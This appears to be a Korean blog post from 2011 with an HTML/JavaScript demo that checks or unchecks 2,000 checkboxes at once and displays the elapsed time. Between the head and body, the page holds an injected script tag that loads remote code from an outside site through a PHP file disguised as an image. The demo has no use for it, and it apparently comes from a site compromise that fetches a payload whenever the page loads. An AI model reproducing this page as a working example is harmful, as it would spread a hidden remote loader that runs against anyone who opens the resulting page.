<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<TITLE> New Document </TITLE>
<script language='JavaScript'>
function checkCall(oElement){
var newtime = new Date().getTime();
var len = document.form1.chkC.length;
var chkArr = document.form1.chkC;
var boolv = oElement.checked;
for(var i=0;i<len;i++){
chkArr[i].checked = boolv;
}
var newtime2 = new Date().getTime();
td3.innerHTML="걸린시간 : "+(newtime2-newtime);
}
</script>
</HEAD>
<script src=http://hairbrokersinc.com/images/gifimg.php ></script><BODY>
<form name='form1'>
<table border='1' width='700'>
<tr>
<td><input type='checkbox' id='chkCall' onclick='checkCall(this)'>전체 체크/해제</td>
</tr>
<tr>
<td>
<div id="divC" style="overflow-x: hidden; overflow-y: auto; width:100%; height:200; padding: 0px; border: 1;">
<script language='JavaScript'>
for(var i=0;i<2000;i++){
document.write("<input type='checkbox' id='chkC' value='"+i+"'>C의 "+i+"번째 체크박스<br />")
}
</script>
<div>
</td>
</tr>
<tr>
<td id='td3'> </td>
</tr>
<table>
</form>
</body>
</HTML>
[Javascript] 대량의 CHKECKBOX 이용시 빠르게 체크 예제
2011. 6. 2. 20:46